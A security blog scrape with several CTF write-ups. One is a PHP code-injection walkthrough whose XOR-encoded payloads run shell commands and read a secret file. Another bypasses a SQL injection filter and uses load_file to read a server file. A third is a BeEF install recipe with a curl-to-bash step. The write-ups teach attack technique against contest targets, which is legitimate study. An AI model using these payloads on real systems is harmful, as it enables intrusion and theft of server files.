<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057897"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026429"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949618"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317783513"><span lang="es">Conclusiones</span></a><span lang="es"><o:p></o:p></span></h1>
<div class="MsoNormal">
<br />
El concurso ha estado divertido pero consideramos que se ha abusado del
concepto de "idea feliz". Había pruebas que simplemente no se podían
resolver sin pistas; otras con grandes incoherencias (como la 06 del falso
"SQL"). <o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Tampoco ha ayudado que
haya pruebas que dependan de otras, en especial aquellas como la 07, que
estuvieron caídas la mayor parte del concurso y provocando un enorme
"atasco" entre los participantes. Y por último, el tener que
"adivinar" passwords (tomarlos de otras pruebas, fuerza bruta, etc)
tampoco es buena idea. Pensamos que se ha hecho así para dilatar
artificialmente el tiempo de concurso, cosa que tampoco consideramos apropiada:
el concurso no debería durar más de un fin de semana e idealmente todas las
pruebas se deberían de poder resolver técnicamente sin necesidad de pistas ni
"pensamiento lateral". Esto último no es real en absoluto puesto que
en la vida real un atacante dispone de un "contexto" (y por tanto, de
información adicional con la que jugar y enlazar con ideas), algo de lo que se
carecía en este caso.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
También se han
descubierto diferentes fallos de implementación (como la 08, que te daba la key
sin disponer del token; o los permisos de "nmap" que te permitían
saltarte niveles y además neutralizar el avance al resto de concursantes) y de
inestabilidad (en especial, en las pruebas shells: la máquina se quedaba sin
recursos). En un concurso de estas características estos detalles se deberían
de cuidar.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>RoMaNSoFthttp://www.blogger.com/profile/15516592550449333336noreply@blogger.com4tag:blogger.com,1999:blog-8030856701715224582.post-2048524554280682492012-01-26T23:03:00.000+01:002012-01-26T23:12:12.458+01:00Mozilla CTF 2012 - Ch#16: "Sharkpedia" (400 pts)<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.visualbeta.es/files/2010/12/mozilla-logo.jpg" imageanchor="1" style="clear: left; display: inline !important; float: left; margin-bottom: 1em; margin-right: 1em; text-align: center;"><img border="0" src="http://www.visualbeta.es/files/2010/12/mozilla-logo.jpg" /></a></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: justify;">
We didn't participate at this CTF (dear Mozilla fellows: next time please arrange the date somewhere in the weekend! thx :P) but some of us had a look to the challenges. One of them which got my attention was "Sharkpedia". Now it's offline but basically it was a PHP page with one input parameter used to select amongst three functions: "a", "b" and "c". Different "shark" images were shown (those ugly pets which <a href="https://twitter.com/dlitchfield">David Litchfield</a> likes so much }:-)) when any of former choices were selected and also the input was printed.</div>
<br />
<br />
<br />
<div style="text-align: justify;">
After some quick tests, I realized that:</div>
<div style="text-align: justify;">
- any other chars different from <i>[A-Za-z_]</i> could be entered but were ignored when looking for functions <i>a</i>, <i>b</i> or <i>c</i> (no exhaustive test done so forgive me if it may not be 100% accurate). So all of these are valid to select function "a":</div>
<br />
<ul>
<li style="text-align: justify;"><i>p=a</i> [ <a href="https://challenge16.mozillactf.org/?p=a">https://challenge16.mozillactf.org/?p=a</a> ]</li>
<li style="text-align: justify;"><i>p=a$([</i></li>
<li style="text-align: justify;"><i>p=$([a</i></li>
<li style="text-align: justify;"><i>...</i></li>
</ul>
<br />
<div style="text-align: justify;">
- if any of <i>a</i>, <i>b </i>or <i>c </i>function matched, then the whole string was used inside PHP probably to build the function call to the appropiate function. Due to insufficient input sanitizing, it was possible to escape the string construction. For instance, I could concatenate strings, xoring, etc:</div>
<br />
<ul>
<li style="text-align: justify;"><i>p=a'.'</i></li>
<li style="text-align: justify;"><i>p=a'^'</i></li>
<li style="text-align: justify;"><i>...</i></li>
</ul>
<div style="text-align: justify;">
Our goal is to execute arbitrary PHP code. How could we get that?</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Let's try to call phpinfo() function. My first attempt was:</div>
<div style="text-align: justify;">
<i>p=a'.phpinfo().'</i></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Guess what? Not possible because we need to match the "<i>a</i>" (or "<i>b</i>" or "<i>c</i>") function. PHP page would try to compare with "aphpinfo" function, which doesn't exist.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Second attempt: building "phpinfo" string without using <i>[A-Za-z_]</i>. I used a simple xor construction:</div>
<div style="text-align: justify;">
<i>p=a'.(%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF)().'</i></div>
<br />
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
It didn't work because function name obtained by xoring was not taken as string type. I couldn't figure out how to cast into string given the filter limitations :-/</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Third attempt: we get a PHP error stating that %ff (its ascii char, not the % representation) function didn't exist if we entered:</div>
<div style="text-align: justify;">
<i>p=a'.%FF().'
</i></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
So I was very near. But still insufficient. Shit!</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
I decided to use PHP variables (which imply nice type-conversions :-)). I built a custom .php for making some tests and uploaded to my test web server. My tests showed that it was perfectly possible to execute code by injecting:</div>
<div style="text-align: justify;">
<i>p=a'.$var=phpinfo.$var().'</i></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Former sentence creates a variable containing the command to run and finally invokes the function given by that name. Simple...</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Or not so simple... Remember we cannot use [A-Za-z_] chars (well, we could use "$a" for instance, but then we would need another "$a" for invoking the function; and that's two "a" letters: not permitted). Time to RTFM! <a href="http://www.php.net/manual/en/language.variables.basics.php">PHP manual</a> states that a variable name follows this regexp syntax:</div>
<div style="text-align: justify;">
<i>'[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'</i></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Mistery solved: we can use <i>$\xde\xad</i> or <i>$\xca\xfe</i> (e.g.) as variable names. For the sake of simplicity, I'll call my variable: <i>$\xfe</i> (in url-encoding format: <i>$%fe</i>).</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Coming back to the real challenge and trying to applying what we had learned above we entered:</div>
<div style="text-align: justify;">
<a href="https://challenge16.mozillactf.org/?p=a'.($%fe=((%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF))).$%fe().'">https://challenge16.mozillactf.org/?p=a'.($%fe=((%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF))).$%fe().'</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
A nice phpinfo screen appears!!! Hurray!</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Now in order to get a directory listing, let's run a simple PHP <i>passthru("ls")</i>:</div>
<div style="text-align: justify;">
<a href="https://challenge16.mozillactf.org/?p=a'.($%fe=((%8F%9E%8C%8C%8B%97%8D%8A^%FF%FF%FF%FF%FF%FF%FF%FF))).($%fd=((%93%8C^%FF%FF))).$%fe($%fd).'">https://challenge16.mozillactf.org/?p=a'.($%fe=((%8F%9E%8C%8C%8B%97%8D%8A^%FF%FF%FF%FF%FF%FF%FF%FF))).($%fd=((%93%8C^%FF%FF))).$%fe($%fd).'</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Oh, there's a file called "<i>very_secret_fil3_pls_read_content.txt</i>". Let's run "<i>cat very_secret_fil3_pls_read_content.txt</i>" (and this is the final solution):</div>
<div style="text-align: justify;">
<a href="https://challenge16.mozillactf.org/?p=a'.($%fe=((%8F%9E%8C%8C%8B%97%8D%8A^%FF%FF%FF%FF%FF%FF%FF%FF))).($%fd=((%9C%9E%8B%DF%89%9A%8D%86%A0%8C%9A%9C%8D%9A%8B%A0%99%96%93%CC%A0%8F%93%8C%A0%8D%9A%9E%9B%A0%9C%90%91%8B%9A%91%8B%D1%8B%87%8B^%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF))).$%fe($%fd).'">https://challenge16.mozillactf.org/?p=a'.($%fe=((%8F%9E%8C%8C%8B%97%8D%8A^%FF%FF%FF%FF%FF%FF%FF%FF))).($%fd=((%9C%9E%8B%DF%89%9A%8D%86%A0%8C%9A%9C%8D%9A%8B%A0%99%96%93%CC%A0%8F%93%8C%A0%8D%9A%9E%9B%A0%9C%90%91%8B%9A%91%8B%D1%8B%87%8B^%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF))).$%fe($%fd).'</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
We got the flag:</div>
<div style="text-align: justify;">
<i>GaoxMpTbGFFD</i></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Funny challenge :)</div>
<div style="text-align: justify;">
<br /></div>RoMaNSoFthttp://www.blogger.com/profile/15516592550449333336noreply@blogger.com0tag:blogger.com,1999:blog-8030856701715224582.post-40239908407593199062011-11-02T22:42:00.000+01:002011-11-02T22:42:15.342+01:00Quick RVM + BeEF install guide<br />
<b>Disclaimer</b>: This is only a recipe I wrote for me. But I thought it could be useful for other people so I decided to share it. Of course, no guarantee! So if you encounter any problem, then I can only say this: RTFM! :-)<br />
<br />
<i>Note #1</i>: I used Debian 5.x but it should work for other UNIXes.<br />
<i>Note #2</i>: Perhaps you'll need to invoke "apt-get" with some *-dev/lib packages. Unfortunately I didn't take note of that.<br />
<br />
<br />
<b><u>RVM</u></b>.-<br />
<br />
<b>1/</b> Install on ~/.rvm<br />
$ bash < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer )<br />
<br />
$ echo '[[ -s "$HOME/.rvm/scripts/rvm" ]] && . "$HOME/.rvm/scripts/rvm" # Load RVM function' >> ~/.bash_profile<br />
<br />
$ rvm requirements<br />
<br />
$ rvm list known<br />
<br />
$ rvm install 1.9.2<br />
<br />
<b>2/</b> We test "rvm"...<br />
$ rvm use 1.9.2<br />
<br />
$ ruby -v<br />
<br />
Optionally, you can set a version of Ruby to use as the default for new shells. Note that this overrides the 'system' ruby:<br />
$ rvm use 1.9.2 --default<br />
<br />
For turning back to system default Ruby:<br />
$ rvm use system<br />
<br />
<br />
<b><u>BEEF</u></b>.-<br />
<br />
<b>3/</b> Set up Ruby environment for BeEF<br />
$ rvm use 1.9.2<br />
$ rvm gemset create beef<br />
$ rvm 1.9.2@beef<br />
<br />
<b>4/</b> Dowload from svn<br />
$ svn checkout http://beef.googlecode.com/svn/trunk/ beef-read-only<br />
<br />
Then rename to "beef" & cd to it.<br />
<br />
<b>5/</b> Execute BeEF installer:<br />
$ ruby install<br />
<br />
And then choose "automatic install". Otherwise, ask the installer what to install and then manually install it:<br />
$ gem install ansi term-ansicolor dm-core json data_objects do_sqlite3 sqlite3 dm-sqlite-adapter parseconfig erubis dm-migrations librex --no-rdoc --no-ri<br />
<br />
<b>6/</b> Change default user/pass:<br />
beef / beef<br />
<br />
By editing the file:<br />
extensions/admin_ui/config.yaml<br />
<br />
<b>7/</b> We also can change listening host & port by editing the file:<br />
config.yaml<br />
<br />
<b>8/</b> Create startup script: "beefstart"<br />
<br />
#!/bin/bash<br />
<br />
[[ -s "$HOME/.rvm/scripts/rvm" ]] && . "$HOME/.rvm/scripts/rvm" # Load RVM function<br />
<br />
# Beef environment setup<br />
rvm 1.9.2@beef<br />
<br />
# Don't forget to change this according to your needs!<br />
cd /home/roman/tools/beef<br />
<br />
# Run BeEF<br />
./beef<br />
<br />
# Return to system Ruby<br />
rvm system<br />
<br />
<b>9/</b> Now, to run BeEF<br />
$ ./beefstart<br />
<br />
(we can just add BeEF directory to $PATH)<br />
<br />RoMaNSoFthttp://www.blogger.com/profile/15516592550449333336noreply@blogger.com0tag:blogger.com,1999:blog-8030856701715224582.post-60642485163574208522011-09-26T20:57:00.001+02:002011-09-26T20:57:13.893+02:00CSAW 2011 CTF Quals - Reversing - .NET1 (200 pts)Just saw the <a href="http://k3ys3c.blogspot.com/2011/09/ctf-quals-csaw-2011-reversing-net.html">write-up</a> for .NET1 by K3YS3C. That was the hard way.<br />
<br />
Following KISS principle, the challenge could be easily solved by using Cryptool 2 (yes, we all are used to work with 1.x, aren't we?). Even for a non expert crypto-man like me, it's not difficult to identify that the algorithm used was <a href="http://en.wikipedia.org/wiki/XTEA">XTEA</a>, simply by googling for the magic number 0x9e3779b9 (taken from ProcessBlock function on Reflector's disassembling) and then analyzing XTEA against our disassembling.<br />
<br />
XTEA is supported by Cryptool 2 (good catch by Kachakil). Given that, it's a matter of learning how to use the new interface. You can load the TEA template and then modify the properties of TEA box to select XTEA (supported: TEA, XTEA and XXTEA).<br />
<br />
Given the 128 bits key from:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfX1c58BmjKE6P1tgx3OvXHIWcscBc9WcPK_XpgVfOukzc3McozzY6H2XIat5qh2db53f400HlLPbaqgs4S__oIlUfiLkY2z-RFixCLQWZYeKX5nvFSzV24wMcjbNbAgTWruQEZEvJD8A/s1600/26-09-2011+20-25-45.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="99" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfX1c58BmjKE6P1tgx3OvXHIWcscBc9WcPK_XpgVfOukzc3McozzY6H2XIat5qh2db53f400HlLPbaqgs4S__oIlUfiLkY2z-RFixCLQWZYeKX5nvFSzV24wMcjbNbAgTWruQEZEvJD8A/s320/26-09-2011+20-25-45.png" width="320" /></a></div>
<br />
It's needed to be converted from "unsigned int" to (hex-encoded) byte stream: <br />
24740273699451943759381465844103<br />
<br />
Feeding former key to Cryptool 2:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbxpcCkFTfLb3XOoiTXM3m8nVDf89xSz633YZPSmREUcnkHsVRfNf-RiO2PRvFP0u5ep3c_t2dnKsAoQ5FFF9U9o609H7MKCO8GmuBWZLm5Gv9lXoCKIW8Ec-zliKfKpDrLsjX98uvro8/s1600/26-09-2011+20-41-07.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="301" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbxpcCkFTfLb3XOoiTXM3m8nVDf89xSz633YZPSmREUcnkHsVRfNf-RiO2PRvFP0u5ep3c_t2dnKsAoQ5FFF9U9o609H7MKCO8GmuBWZLm5Gv9lXoCKIW8Ec-zliKfKpDrLsjX98uvro8/s400/26-09-2011+20-41-07.png" width="400" /></a></div>
<br />
Et voilà, you got the key!<br />
<br />
key{ <b style="color: red;">f79b5967afade81c142eab7e4b4c9a3b</b> }<br />
RoMaNSoFthttp://www.blogger.com/profile/15516592550449333336noreply@blogger.com1tag:blogger.com,1999:blog-8030856701715224582.post-44932616964181792682010-03-31T01:51:00.000+02:002010-03-31T09:15:17.922+02:00Codegate 2010 challenge 19<div>We have to find a clue about a guy that probably committed suicide, and only a FAT image file (from his phone) is provided. This challenge is very easy if you are lucky to find the key, but it can take a lot of time if not, because we don’t know exactly what we are looking for.<br /><br />I started opening the mail and web cache files, but there was a lot of garbage, so I decided to change the strategy, opening the entire volume directly in a hex editor and searching for terms like “suicide”. Then, I found some more garbage, but fortunately in the same fragment (very close to this word), I saw a Google search with an odd string (<strong>where can i buy potassium cyanide</strong>), and this was the key of the challenge. </div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8030856701715224582.post-40192162711878364742010-03-31T01:46:00.000+02:002010-03-31T09:14:49.801+02:00Codegate 2010 challenge 9<div>In this challenge we see a web application form with three fields: <strong>no</strong>, <strong>id</strong> and <strong>pw</strong>, with default values (<strong>1</strong>, <strong>guest</strong> and <strong>guest</strong> respectively). Our goal is to login as the administrator.</div><br /><div><br />After some basic tests, we suspect the field no (supposed to be numeric) is vulnerable to SQL injection, but with some added difficulties, because it is filtered. The application will return “Access denied” if the injection contains words like <strong>and</strong>, <strong>or</strong>, <strong>into</strong>, <strong>from</strong>, <strong>/</strong>, spaces, quotes and so on. </div><br /><div><br />To bypass the filter, we can replace the following:<br />• A space with a tabulator (url-encoded as %09)<br />• The <strong>or</strong> operator with <strong>||</strong><br />• The <strong>and</strong> operator with <strong>&</strong> (url-encoded as %26)<br />• Strings literals with hex notation (ex: 'abc' = 0x616263) </div><br /><div><br />Then, we can build and automate a blind SQL injection like this:<br /></div><br /><div>index.php?id=guest&pw=guest&no=1||1<span style="color:#009900;">%09</span>group<span style="color:#009900;">%09</span>by<span style="color:#009900;">%09</span>id<span style="color:#009900;">%09</span>having<span style="color:#009900;">%09</span>pw><span style="color:#ff0000;">0x61…</span> </div><br /><div><br />We get the password of the first form: rEAD:/TMP/ADMIN_PASSWORD </div><br /><div><br />Unfortunately, it was not the final password, but only a hint (we have to read this file). Because the database was MySQL, we achieved this goal using the <strong>load_file()</strong> built-in function (remember: we must hex-encode the target file name), injecting as follows: </div><br /><div><br />…&no=1<span style="color:#009900;">%26</span>(load_file(0x2f746d702f61646d696e5f70617373776f7264)><span style="color:#ff0000;">0x00…</span>) </div><br /><div><br />We get the final key: <strong>0da65a3fde3f2b928ff15b629bcdeebf </strong></div>Unknownnoreply@blogger.com0